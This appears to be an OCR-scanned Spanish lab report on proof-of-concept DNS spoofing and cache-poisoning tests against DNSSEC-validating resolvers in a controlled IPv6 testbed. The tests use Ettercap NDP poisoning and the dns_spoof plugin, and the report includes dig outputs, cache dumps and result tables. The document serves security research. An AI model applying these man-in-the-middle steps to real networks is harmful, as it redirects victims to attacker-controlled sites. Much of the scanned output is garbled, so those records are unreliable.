realicen una consulta al dominio www.networks.com.

Al efectuar la prueba se determinara si el Cliente con soporte de validacion
DNSSEC, es o no es vulnerable al envenenamiento de su memoria cache, si
valida o no valida la autenticidad de la respuesta DNS sobre quien es el

Servidor Autoritario legitimo al que pertenece el dominio www.networks.com,

cuando el cliente realice una consulta a ese sitio, de esta manera se evaluara
si la prueba fue exitosa o no, teniendo en cuenta que en este escenario los
clientes no realizan el proceso de validacion DNSSEC, solamente lo realiza el

Servidor Cache recursivo de la organizacion.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8.

3. Topologia de Red del Ambiente real de Prueba.
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4.

RED INTERMA
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BECA:Z

Fig. Topologia de Red del Ambiente real de Prueba

Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que
cumple con las siguientes caracteristicas:

e Toda la cadena de confianza DNSSEC esta firmada tanto en la red
interna CAFE (Servidor cache y servidores autoritarios de bancodk),
como en la red externa (servidor raiz, com y comunicate.com).

e El proceso de validacion de las respuestas DNS es efectuado
anicamente por el Cliente de la organizacion, que posee tanto la clave
publica del servidor raiz f.root-servers.net como la del dominio
bancodk.com.

e Se realizé un ataque de hombre en el medio entre el Servidor Cliente
validador y la Gateway de la red CAFE.

e Como maquina atacante se utilizé la distribucion Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.
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e El cliente Linux de la red interna CAFE, realiza las mismas consultas en
dos momentos de tiempo diferentes para determinar si siempre se
obtiene la misma informacion o respuesta cuando éste solicita una
consulta a www.networks.com.

e El escenario real de pruebas se implemento con la distribucion Debian

9.4 con el software DNS BIND versién 9.10.

5. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC | INTERFACES
DEBIAN v9.4 Cliente -Validador TARGET 2001:12:7000::cafe:25 08:00:85:DB:30 EthO
DEBIAN v8.8 | Router frontera-Gateway red CAFE TARGET 2001:12:7000::cafe:1 f0:4d:a2:db:f2:ce EthO

KALI
GNU/LINUX KALI Atacante 2001:12:7000::cafe:14 08002756EAB2 EthO

2018

Tabla. Caracteristicas de los equipos.

6. Resultados obtenidos de la Prueba:

SUPLANTACION DE|ENVENENAMIENT VALIDACION POC
DOMINIO ESTADO MIT™M VALIDADORES DOMINO 0 DE CACHE VALIDACION CACHE CLIENTE EXITOSA
www.netwworks.com CACHE-GATEWAY NF Sl Sl NO NO NO

Tabla . Resultados obtenidos.

7. Evidencia de las PoC

La prueba se comienza, con la selecciéon de los objetivos por medio de un
MITM por NDP, el servidor cache Validador recursivo y la Gateway de la red
café.

Target 1 Target 2
2001:12:7000::cafe:25 2001:12:7000::cafe:1

Una vez ejecutada la PoC, cuando el cliente hace una consulta DNSSEC
preguntando por el dominio networks.com, se observa que ha sido suplantado el
por la ipv6 del atacante:
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root@Cliente-validador:~# dig aaaa www.networks.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> aaaa www.networks.com +dnssec +multiline
i global options: +cmd

i Lot answer:

i+ ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8664

7o [Tlags: ar rd ra;] QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

i+ OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096
;1 QUESTION SECTION:

swWaww . networks. com. IN AAAA

:: ANSWER SECTION:
wWww.networks. com. 3585 IN AAAA 2001:12:7000::cafe:l4d

i+ AUTHORITY SECTION:
com. 004785 IN NS a.gtld-servers.net.com.

;+ ADDITIONAL SECTION:
a.gtld-servers.net.com. 604785 IN AAAA 2001:503:3T::beca:2

;i Query time: 3 msec

;+ SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)
;3 WHEN: Sun Sep 02 11:41:19 -05 2018

i+ MSG SIZE rcvd: 134

De esta manera, a pesar de que el cliente tenga soporte de validacion DNSSEC y
gue la cadena de confianza este firmada hasta el dominio superior COM, el
cliente es vulnerable frente a la PoC de DNS Spoofing, debido a que no validaré la
respuesta de un dominio que no este firmado dentro de la cadena, es decir este
acepta los datos de la respuesta que le entregue el atacante como si fuera una
respuesta DNS normal, sin brindar autenticacion del origen ni integridad de los
datos.

Archivo dumpdb cliente envenenado
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AdminCache@cache: ~

Archivo Editar Ver Buscar Terminal Ayuda
root@cache:/var/cache/bind# cat named dump.db | grep networks.com

networks.com. 16684  \-DS ;i - $NXRRSET

Wi . networks. com. 3484 AAARA 2001:12:7000: :cafe:14

root@cache: /var/cache/bind# cat named dump.db | grep www.networks.com
wwiwW . networks. com. 3484 AAAA 2001:12:7000: :cafe:14

root@cache: /var/cache/bind# cat named dump.db | grep 2001:12:7000::cafe:14
Wwiw . networks. com. 3484 AAAA 2001:12:7000: :cafe:14
i B anciy |

2.4.2 DNS Spoofing CUANDO LA CADENA DE CONFIANZA DNSSEC ESTA
ROTA

PoC de DNS Spoofing, realizada desde la red Externa BACA, cuando el
Cliente no validador consulta al servidor DNS cache validador por el nombre
de dominio www.comunicate.com, desde la red interna CAFE.

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realiz6 en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Servidor autoritario del dominio
comunicate.com y la Gateway de la red BACA.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del
dominio www.comunicate.com por la direccion IPv6 del atacante Kali, con el
propésito de envenenar la memoria del Servidor Cache con soporte de
validacion DNSSEC insertando un registro DNS falso en la TABLA DNS. De
esta forma, en lugar de dirigir al usuario o usuarios al sitio web legitimo, las
victimas seran direccionadas al sitio web falso clonado por el atacante, cuando
realicen una consulta al dominio www.comunicate.com.

Al efectuar la prueba se determinara si el Servidor Cache con soporte de
validacion DNSSEC, es o no es vulnerable al envenenamiento de la memoria
cache, sivalida o no valida la autenticidad de la respuesta DNS sobre quien
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es el Servidor Autoritario legitimo al que pertenece el dominio
www.comunicate.com, cuando el cliente realice una consulta a ese sitio, de

esta manera se evaluara si la prueba fue exitosa o no, teniendo en cuenta que
en este escenario los clientes no realizan el proceso de validacion DNSSEC,
solamente lo realiza el Servidor Cache recursivo de la organizacion.

2 Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8.

Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

Toda la cadena de confianza DNSSEC esta firmada tanto en la red
interna CAFE (Servidor cache y servidores autoritarios de bancodk),
como en la red externa (servidor raiz, com y comunicate.com).

El proceso de validacion de las respuestas DNS es efectuado
Unicamente por el Servidor Cache recursivo de la organizacion, que
posee tanto la clave publica del servidor raiz f.root-servers.net como la
del dominio bancodk.com.

Se realiz6 un ataque de hombre en el medio entre el Servidor Cache
validador y la Gateway de la red CAFE.

Como maquina atacante se utilizo la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente Linux de la red interna CAFE, realiza las mismas consultas en
dos momentos de tiempo diferentes para determinar si siempre se
obtiene la misma informacion o respuesta cuando éste solicita una
consulta a www.comunicate.com.

El escenario real de pruebas se implementd con la distribucion Linux
Debian 9.4
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4. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC | INTERFACES
DEBIAN | Servidor Autoritario def TARGET 2800:310:4005:403::BACA:2 | 08:00:27:82:3F:99 |  enp0s3
dominio comunicate.com
Router -Gateway red BACA TARGET 2800:3F0:4005:403::BACA:1 | f0:4d:a2:db:f2:ce enp0s3
DEBIAN Realiza la consulta al
Cliente DNS dominio 2001:12:7000::cafe:28 08:00:27:6A:D6:57 enp0s3
www.comunicate.com
KALI
GNU/LINUX KALI Atacante 2001:12:7000:: cafe: 37 08:00:27:48:09:19 EthO
2018
Tabla N°. Caracteristicas de los equipos.
5. Resultados obtenidos de la Prueba:
SUPLANTACION [ ENVENENAMIENTO | VALIDACION | VALIDACION POC
DOMING ESTADO MITM VALIDADORES DE DOMINIO DE CACHE CACHE CLIENTE EXITOSA
GATEWAY RED BACA -
_ F COMUNICATE.COM CACHE S| NO S| NO S|
. GATEWAY RED BACA -
coomunicate.com NF-| COMUNICATE.COM CACHE Sl NO S| NO Sl

Tabla N°. Caracteristicas de los equipos.

6. Evidencia de la PoC

Ejecucion de la PoC desde el kali

Evidencia de la prueba de concepto y de los resultados obtenidos

Seleccion de los objetivos y ejecucion de MITM y DNS Spoofing los cuales se
encuentran en la red BECA.
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Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x | Targets x |Plugins x

Name Version Info
arp_cop 11 Report suspicious ARP activity
autoadd 12 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success
* dns_spoof 12 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IF address

1 =

GROUP 1: 2800:3f0:4005:403::baca:1 08:00:27:F8:8F:3D

GROUP 2: 2800:3f0:4005:403::baca:2 08:00:27:17:CA:B2
Unified sniffing already started...
Activating dns_spoof plugin...

Consultas

El cliente realiza consultas DNS al servidor caché recursivo validador, por los
dominios www.comunicate.com y coomunicate.com, el atacante envia una
respuesta falsa al cliente de la red CAFE desde la red BACA, donde se ecuentra el
atancate como el servidor aurotirario del dominio comunicate.com, de esta manera
se obtiene que la PoC es exitosa.

Consulta dominio www.comunciate.com

I root@CLIENTE:~# dig AAAA www.comunicate.com +dnssec l

; <<==> DiG 9.9.5-9+debBul5-Debian <<== AAAA www.comunicate.com +dnssec
;3 global options: +cmd

;5 Got answer:

;; -==HEADER=<- opcode: QUERY, status: NOERROR, id: 31140

i, flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: G, ADDITIOMAL: @

;3 QUESTION SECTION:
Iwww.comunicate.com. IN ARAA

;; ANSWER SECTION:
www . comunicate.com. 3600 IN AAAA 2800:3f0:4005:403: :baca:3

;5 Query time: 24 msec

;; SERVER: 2001:12:7000::cafe:5#53(2001:12:7000: ::cafe:h)
;3 WHEN: Wed Sep 05 14:05:17 -05 2018

;: MSG SIZE  rcwd: 64

Consulta dominio coomunciate.com
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root@CLIENTE:~# dig AAAA coomunicate.com +dnssec

; =<=== [DiG 9.9.5-9+deb8ul5-Debian =<==> AAAA coomunicate.com +dnssec
;7 global options: +cmd

;; Got answer:

i+ -=>HEADER=<<- opcode: QUERY, status: NOERROR, id: 33475

;5 flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIOMAL: @

:; QUESTION SECTIOM:
;coomunicate.com. IN AAAA

;5 ANSWER SECTION:
coomunicate.com. 3600 IN AAAA 2800:3f0:4005:403: :haca: J/

;0 Query time: 12 msec

;5 SERVER: 2001:12:7000::cafe:5#53(2001:12:7000: ::cafe:b)
5 WHEN: Wed Sep 85 14:05:30 -05 2018

;5 MSG SIZE  rcwvd: 61

Vista desde el cache

Memoria Cache Para Revisar Envenenamiento del Cache

Se revisa la memoria cache del cliente validador, para observar los datos
almacenados en esta ante las consultas realizadas, utilizando el comando grep
para determinar si se ha almacenado informacién relacionada a la consulta
realizada

root@validador:/var/cache/bind# cat named dump.db | grep comunicate.com
comunicate.com. 604739 NS dnsl.comunicate.com.
20180915183922 20180816183922 1510 comunicate.com.
20180915183922 20180816183922 4644 comunicate.com.
dnsl.comunicate.com. 10747  \-A 5 - $NXRRSET
5 comunicate.com. SOA dnsl.comunicate.com. admin.comunicate.com. 2 604800 864000 2419200 604800
; comunicate.com. RRSIG SOA ...
; RKCATKSP4R62SGITNUCBE1IDK39FT3LQP. comunicate.com. RRSIG NSEC3 ...
; RKC4TKSP4R625GITNUCBEIDK39FT3LQP. comunicate.com. NSEC3 1 1 20 28003F024005BACA IRNIINCTNP4ROPR20MDVGFLNFMBBO
POR AAAA RRSIG
www. comunicate. com. 10748  \-DS 3 - $NXRRSET
; comunicate.com. SOA dnsl.comunicate.com. admin.comunicate.com. 2 604800 864000 2419200 604800
s comunicate.com. RRSIG SOA ...
+ IRN9INCTNP4ROPR20MDVGFLNFMBBOPOR. comunicate.com. RRSIG NSEC3 ...
; IRNOINCTNP4ROPR20MDVGFLNFMBBOPOR. comunicate.com. NSEC3 1 1 20 28003F024005BACA LDDO1BTOPOA2IGVTESOM7EITIPR1]
AKF AAAA RRSIG
; dnsl.comunicate.com [v4 TTL 10747] [v4 nxrrset] [v6 unexpected]
root@validador:/var/cache/bind# cat named dump.db | grep coomunicate.com
coomunicate.com. 18753 \-ANY  ;-$NXDOMAIN

Se realiza un recorrido por la memoria cache del servidor DNS cache validador
para verificar la informacion generada por las consultas que se almacena en el
servidor cache, como se puede observar el servidor cache no se envenena.
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; pending-answer

dnsl.comunicate.com. 10747 \-Z ;-SNXRRSET

; comunicate.com. SO& dnsl.comunicate.com. admin.comunicate.com.
2 ©0D4800 B&4000 2415200 604800

; comunicate.com. RRSIG SCR ...

H RKC4TKSP4R623G9TNUCEE1DK39FT3LQP.CDmunicatB.CDm. RERSIG NSEC3

; REC4TESP4R62SGO9TNUCHE]IDE3ISFTILQP.comunicate.com. NSEC3 1 1 20
ZB003F024005BACE IRNSINCTNE4ROPRZCOMDVGFLNFMER OPOR Rﬁﬁ& RE3IG
; glue

604735 AARD 2B00:3£0:4005:403: :baca:2

WWw.comunicate.com. 10740 \-D3 ;-SNXRRSET

; comunicate.com. SO& dnsl.comunicate.com. admin.comunicate.com.
2 ©04B800 B64000 2415200 604800

; comunicate.com. RRSIG SC& ...

H IRENSINCTNP4R0OPRZOMDVGFLNFMESOPOR . comunicate.com. RRSIG NSEC3

; IRN9INCTNP4ROPRZ2CMDVGFLNFMBSCOPCR.comunicate.com. NSEC3 1 1 20
28003F024005B2ACA LDDO1BTOPCRAZIGVTESOMTELITIPRIJARF LARD RRSIG

; ==scure

coomunicate.com. L0503 \—ANY ; —SNXDOMATN

; com. SOR a.gtld-servers.net. admin.com. 2 604800 864000 2415200
&04800

Almacena de manera correcta la direccion IPv6 del domino www.comunicate.com

y determina que el dominio coomuicate.com no existe

PoC de DNS Spoofing entre el Servidor Cache Validador y la Gateway de la
red CAFE cuando el Cliente validador consulta por el nombre de dominio
www.comunicate.com

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un atague de HOMBRE EN EL
MEDIO con NDP spoofing entre el Servidor Cache Validador y la Gateway de
la red CAFE.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del
dominio www.comunicate.com por la direccion IPv6 del atacante Kali, con el
propésito de envenenar la memoria del Servidor Cache con soporte de
validacion DNSSEC insertando un registro DNS falso en la TABLA DNS. De
esta forma, en lugar de dirigir al usuario o usuarios al sitio web legitimo, las
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victimas serén direccionadas al sitio web falso clonado por el atacante, cuando
realicen una consulta al dominio www.comunicate.com.

Al efectuar la prueba se determinara si el Servidor Cache con soporte de
validacion DNSSEC, es o no es vulnerable al envenenamiento de la memoria
cache, si valida o no valida la autenticidad de la respuesta DNS sobre quien
es el Servidor Autoritario legitimo al que pertenece el dominio
www.comunicate.com, cuando el cliente realice una consulta a ese sitio, de

esta manera se evaluara si la prueba fue exitosa o no, teniendo en cuenta que
en este escenario el cliente realizan el proceso de validacion DNSSEC.
Ademas del Servidor Cache recursivo de la organizacion.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8.
3. Topologia de Red del Ambiente real de Prueba.

RED INTERNA RED EXTERNA

2001:12:7000::CAFE:0M12

ATACANTE

Servidor DN S Raiz
A f.root-servers.net

|

|

|

|

I BEBE:1

|

| Servidor
Autoritario COM.

| A gtid-servers.net

|

|

|

|

|

|

|

|

BECAZ

Servidor
Caché
Validador

ROUTER DE
FRONTERA

Servidor Autoritario
| A4 comunicate.com
4

Servidor Web
www._comunicate.co
m

CAFE25

BECAZZ
1

Fig. Topologia de Red del Ambiente real de Prueba

4. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

e Toda la cadena de confianza DNSSEC estéd firmada tanto en la red
interna CAFE (Servidor cache y servidores autoritarios de bancodk),
como en la red externa (servidor raiz, com y comunicate.com).

e EIl proceso de validacién de las respuestas DNS es efectuado por el
Servidor Cache recursivo de la organizacion y el cliente, que posee tanto
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la clave publica del servidor raiz f.root-servers.net como la del dominio
bancodk.com.

Se realizé un ataque de hombre en el medio entre el Servidor Cache
validador y la Gateway de la red CAFE.

Como maquina atacante se utilizo la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente Linux de la red interna CAFE, realiza las mismas consultas en
dos momentos de tiempo diferentes para determinar si siempre se
obtiene la misma informacion o respuesta cuando éste solicita una
consulta a www.comunicate.com.

El escenario real de pruebas se implementé en windows server 2012 y
Debian 9.4

5. Caracteristicas de los equipos involucrados en la prueba:

s.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC | INTERFACES
wiNpows | Servidor cache recursivo - TARGET 2001:12:7000::cafe:35 08:00:27:B4:24:90 Etho
Validador
Router "ongﬁﬁa‘eway red TARGET 2001:12:7000: cafe:1 f0:4d:a2:db:f2:ce enp0s3
DEBIAN - —
Cliente DNS validador | (6212 consultaal dominio 2001:12:7000::cafe:25 08:00:27:FB:19:D0 enp0s3
www.comunicate.com
KALI
GNU/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 EthO
2018
Tabla N°. Caracteristicas de los equipos.
6. Resultados obtenidos de la Prueba:
SUPLANTACION DE [ENVENENAMIENTO| VALIDACION | VALIDACION|  POC
COMBO =D L LACDABORES DOMINIO DE CACHE CACHE CLIENTE | EXITOSA
CACHE-GATEWAY NO NO sl sI NO
F CLIENTE-CACHE
CLIENTE-GATEWAY NO NO sl sI NO
CACHE-GATEWAY NO S| NO S| NO
coomunicate.com NF-I CLIENTE-CACHE
CLIENTE-GATEWAY NO S| NO sI NO

Tabla N°. Resultados obtenidos.

Se obtuvo que la PoC no es exitosa, cuando el proceso de validacion es
realizado por el cliente como el servidor DNS cache y toda la cadena esta
firmada. Sin embargo se puede observar que cuando se consulta por un
dominio inexistente coomunicate.com como error tipogréafico de consulta, se
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obtuvo el cliente validador comprueba la no existencia del dominio mientras
gue el servidor DNS cache que esta implantado en windows server acepta
la informacion entregada por el atacante, de modo que hay envenenamiento
en el servidor cache, por una consulta incorrecta.

Evidencia de la PoC

Ejecucion de la PoC desde Kali

Se comienza con la seleccion de los objetivos que se veran involucrados en la
prueba, el servidor autoritario del dominio banco y el servidor DNS cache, como se
muestra en la imagen de abajo.

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List =
IP Address MAC Address Description

Bl 2001:12:7000::cafe:1 08:00:27:27:DB:30
2001:12:7000::cafe: 25 08:00:27:FB:19:D0

L[ 2001:12:7000: cafe:35___08:00:27:84:24:90 |

Delete Host Add to Target 1 Add to Target 2

Randomizing -1 hosts for scanning... .
Scanning the whole netmask for -1 hosts...

Probing 3 seconds for active IPv6 nodes ...

31 hosts added to the hosts list...

Host 2001:12:7000::cafe:35 added to TARGET1

Host 2001:12:7000::cafe:1 added to TARGET2 I

Después de seleccionado los objetivos, se realiza envenenamiento NDP para
llevar a cabo ataque de hombre en el medio entre el cliente validador y el
servidores DNS cache.

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List = |[Targets x

Target 1 Target 2
2001:12:7000::cafe: 35 2001:12:7000::cafe:1

Delete | Add Delete Add

NDP poisoning victims:

GROUP 1: 2001:12:7000::cafe:35 08:00:27:B4:24:90

GROUP 2 : 2001:12:7000::cafe:1 08:00:27:27:DB:30
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Efecto de hombre en el medio en el Cache

Después de empezar la ejecucion del ataque se observa que esta relacién se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccién
MAC del cliente ha sido modificada por la del atacante.

sUserssAdministrator>netsh int ipub show neigh

Interface 1: Loopback Pseudo—Interface 1

Internet Address Physical Address

Permanent
Permanent

:12:70008: :cafe:1 A8-AR-27-48-87-19? Reachabhle (Rout

:12:780A: :cafe:25 A8-AA-27-fh-19-dB Stale
:12:7P0A: :cafe:37 A8-AA-27-48-A9-17 Stale
::aBB:27Ff:fe2?:db38 A8-AA-27-27-db-38 Stale (Router)
t2aB@:27ff:fedB8:919 @8-00-27-48-09-17? Reachabhle
t:aB@:27ff:fefbh:19d8 @8-00-27-fh-19-d8@ Stale
t:icBee:?3f1:66h7:£701 00-00-P00-08-08-88 Unreachahle

Vista desde Cliente

A continuacién desde la consola del cliente validador, se realizan una serie de
consultas relacionadas al dominio comunicate.com para analizar las respuestas
obtenidas.

Consultas

Consulta a dominio real

El cliente consulta al dominio www.comunicate.com exigiendo validacion
DNSSEC, obteniendo como respuesta el registro AAAA 2001:503:3f::beca:3 para
el dominio consultado, una respuesta validada (bit ad de validacién en el campo
flags), con un status: NOERROR.
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root@Cliente-validador:/etc/bind# dig AAAA www.comunicate.com +dnssec +multiling

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA www.comunicate.com +dnssec +multiline

;7 global options: +cmd
;» Got answer:

;; ->>HEADER<<-_opcode: QUER, id: 44428
oS }0; QUERYT-NERER: T AUTHORITY: 2, ADDITIONAL: 3

;+ OPT PSEUDOSECTION:

; EDNS: version: O, flags: do; udp: 4096

;5 QUESTION SECTION:

;www.comunicate.com. IN AAAA

++ ANSWER SECTION:
omunicate.com
www.comunicate. com.

7+ ADDITIONAL SECTION:

604800 IN RRSIG AAAA 8 3 604800 (
20180915183922 20180816183922 4644 comunicate.com.

QuosS+97xDgVu9nGegCuvoFD7zif8tUPQBEHCmU7NSm2t
RascglybRTO1luMLeeBrf6GQblp8cQLCecdpgTiC7gIbBN
Qd1kzEBYWuPJgf5jyul8mPrBgrHjdsYoHATROT jArkKkF
xNtOvKPMIRoK6 ruEU3sAHj4nBRz3/ r fFEKXWUCW2++pbU
d20/oMYREMaCZGp7aldjcj7zUkgwl3dgFxDSgYXURNCW
VvBOKTc5gTyQUBWpWX7LyV2uzmQgmsy ldovdwIn5sao8I
M3crgwbNNET5plkrAzNvWxpC+iUycTBAoHWaAsnxJvOL
KDk+FFywQ8uyGtyI6Hxa0SZxEXnzRxgMs Q==

dnsl.comunicate.com. 604800 IN AAAA 2800:370:4005:403::baca:2
dnsl.comunicate.com. 604800 IN RRSIG AAAA 8 3 604800 (

7+ Query time: 109 msec

20180915183922 20180816183922 4644 comunicate.com.

NgmOpD1LK31yiYUr80A00ceMgxKRDBSPPz1W50ucXaHt
bXVDLuB2yGOIY7myVQOAF@s8hUXwRX/JSvInvLEVEs99
k2yqO0d2uur+mZ74CJov8xjphtYYcUmzEzRvRUuDpgLR]
03w5RPbXL1zQIW2t7/azylTh7P5fbrblKuhljyd+HKsb
AFXUqunAz®m0JvXe5oNNULYgR+FnsrgBBKWSRbMIQbOX
s6w5FAKMcFwy+nQfkA8v4Wbg1xQYUNO3G1BcXeMGOx3b
p7c5HHIi4013FehwG5cagb4alNsJOCPnpWz8SZ4YRy93
c3mNiXhw4z957jxhI9UIedH4Ny8IWy+VkA==

++ SERVER: 2001:12:7000::cafe:25#53(2001:12:7000: :cafe:25)
7+ WHEN: Tue Aug 21 12:33:35 -05 2018

i+ MSG SIZE  rcvd: 1028

Consulta a dominio inexistente

El cliente consulta al dominio coomunicate.com exigiendo validacion DNSSEC,

obteniendo como respuesta un estado de NXDOMAIN, que significa que el
dominio no existe, respuesta acompafiada de los registros NSEC3 del dominio

com.
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root@Cliente-validador:/etc/binc# dig AAAA coomunicate.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA coomunicate.com +dnssec +multiline
i+ global options: +cmd
;; Got answer:
i3 ->>HEADER<<- opcode: QUER[_status: NXDOMAIN, id: 51939
;s flags: gr rd ra; QUERY: 1, ANSWER: @, AUTHORITY: 8, ADDITIONAL: 1

i+ OPT PSEUDOSECTION:
; EDNS: version: O, flags: do; udp: 4096
;» QUESTION SECTION:

;coomunicate.com. IN AAAA

i+ AUTHORITY SECTION:

com. 10800 IN SOA a. gtld servers.net. admin.com. (
2 serial

604800 ; refresh (1 week)
864000 s retry (1 week 3 days)
2419200 ; expire (4 weeks)
604800 s minimum (1 week)

)

MEMORIA CACHE

Se revisa la memoria cache del cliente validador, para observar los datos
almacenados en esta ante las consultas realizadas, utilizando el comando grep
para determinar si se ha almacenado informacion relacionada a la consulta
realizada y si se presenta envenenamiento.

root@Cliente-validador: /var/cache/blnd# cat named dump.db | grep comunicate.com
comunicate.com. 603358 dnsl.comunicate.com.
20180915183922 20180816183922 4644 comunicate.com.
20180915183922 20180816183922 1518 comunicate.com.
20180915183922 20180816183922 4644 comunicate.com.
dnsl.comunicate.com. 603358 AAAA 2800:370:4005:403::baca:2
29180915183922 20180816183922 4644 comunicate.com.
wWww.comunicate.com 9358 \-DS - $NXRRSET
; comunicate.com. SOA dnsl.comunicate. Com admin.comunicate.com. 2 604800 864000 2419200 604800
; comunicate.com. RRSIG SOA
H IRNQINC?NP4ROPR20MDVGFLNFMBSOPOR comunicate.com. RRSIG NSEC3 ...
; IRN9INC7NP4ROPR20MDVGFLNFMB8OPOR. comunicate.com. NSEC3 1 1 20 28003F024005BACA LDD81BTOPOA2]GVTESOM7EITIPRIIAKF AAAA RRSIG
20180915183922 20180816183922 4644 comunicate.com.
root@liente-validador:/var/cache/bind# cat named_dump.db | grep coomunicate.com

coomunicate.com. 9381 \-ANY ; -$NXDOMAIN
root@Cliente-validador:/var/cache/bind# cat named dump.db | grep comunicaate.com
comunicaate.com. 9543 \-DS 5 -$NXDOMAIN

Memoria cache principal Para revisar envenenamiento

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominios comunicaate.com

Se observar que en la memoria cache del cliente validador, almacena sobre el
dominio comunicaate.com la informacion entregada por el servidor autoritario del
dominio com, que al estar firmado permite que la informacion se almacene con
nivel de confianza secure, se almacena los registros NSEC3 del dominio com.
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; sSecure
comunicaate.com.9543 \-D3 ;-SNXDOMAIN

; com. S0R a.gtld-servers.net. admin.com. 2 604800 864000 2415200
604800

; com. RRSTG SCR ...

; 4UMS14COSJITQTGV/RPEGEVOEYSRPOINS .com. RRSIG NSEC3 ...

; 4UMS14CCsJTQTGV/RPEGEVOESSRPCOINS .com. NSEC32 1 1 20
2001050303F2BECA T1SR4PSLEETNQEZTTAQUES24PJBBS4R4 NS DS RRSIG
; OJSCQFA3ISEZ2LEHITUIVONISREUTLSVN3.com. RRSIG N3EC3 ...

; OJSCQFE3ISEZLEHITUITVONISRUTLSVNI.com. WSEC3 1 1 20
2001050303F2BECR PRSZMCCVSIFJIT1SGO4HVIMVITIGESSDO NS SCOR ARRR
RRSIG DNSEEY NSEC3PAREM

Dominios comunicate.com

El cliente a validado el dominio comunicate.com, por lo cual almacena los registros
con el nivel de confianza secure. Como el dominio esta firmado el cliente
almacena todos los registros DNSSEC (RRSIG NS, DNSKEY, RRSIG DNSKEY)
relacionados al dominio comunicate.com. Ademas de almacenar los registros
AAAA para los dominios comunicate.com y www.comunicate.com.

; securs
www . comunicate.com. 5358 \-DS8 ;-SNXRRSET

; comunicate.com. SC& dnsl.comunicate.com. admin.comunicate.com.
2 604800 B64000 2415200 604800

; comunicate.com. RRSIG SO& ...

; IENSINCTNP4R0OPR2OMDVGFLNFMESCPCOR.comunicate.com. RRSIG NSEC3

IRNQINC?NP4RDPR2OMDVGFLNFMBEOEOR comunicate.com. NSEC3 1 1 20
QBDD3F024DDSBACA LDDO1BTOPCAZIJGVTESCMTELITIPRIJARF RARR RRSIG
; secure
603358 ARRE 2001:503:3f::beca:2

; Secure
fo22co DooTo o2 coaonn

201805151835%22 20180816183%22 4644

comunicate.com.

Qul5+97xDgVudnGegCuvoFDTzi £8tUPQBEHC
mu7NSm2tRascglybRTOluMLeeBrfeGoblplc
QLCedpgTiCTgIbBNQdlkzEBYWuPJgf5Sjyuds8
mPrBgrH]dsYoHAfRIEJArEkFxNt OvEEMIRoK
6ruEU3sAH]4n0Rz3/ rf 6RXWUCWZ ++pbUd20/
oMYREMaCZGpTaldjc]7zUkgwdI3dgFxDSgYXU
EnCWveCRTcSgfyQUEWpWX TLyV2uzmQgmayl4
ovd4wInisaol IM3crgweNNEL SplkrRzNviWxpC
+iUycTBAoHWaZsnxIvOLEDk+FFywQBuyGtyT
EHXaOSZXEXnzRrgMsg=— )

Dominios coomunicate.com

Se observar que en la memoria cache del cliente validador, almacena sobre el
dominio coomunicate.com la informacion entregada por el servidor autoritario del
dominio com, que al estar firmado permite que la informacion se almacene con
nivel de confianza secure, se almacena los registros NSEC3 del dominio com.
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¥

coomunicate.com. 9381 \-ANY ; -SNXDCMAIN

604800

Iecures

com. S0A a.gtld-servers.net. admin.com. 2 &04800 864000 2413200

r
r

r

com. RRSIG SCOA ...
4UMS14C0SITQTGVIRPEGEBVORESSRPOJINS . com.
4UMS14COSITQTGEVIRPEGBVOESSRPOJINS . com.

RRSIG NSEC3 ...
NSEC3 1 1 20

2001050303F2BECE T1SR4PSLERTNQRZTTRQUES24PTBE54R4 NS DS RRSIG

’

r

RERSIG NSECZ ...
NSEC3 1 1 20

ISCHTDOBQIS4ATNGNTEQOFSGIUOR4SCE. com.
ISCHTDOAQAS4RINQNTEQOFISGIUOR4ASCE . com.

2001050303F2BECR OJSCQFA3ISG2LEHITUIVONISRUTLSVNI

r

¥

ERSIG NSEC3 ...
NSEC2 1 1 20

OJ3CQFB3IS62LEHITUIVONISRUTLSVNS . com.
OJSCQFE3I562LEHITUJVON3SRUTLSVNI . com.

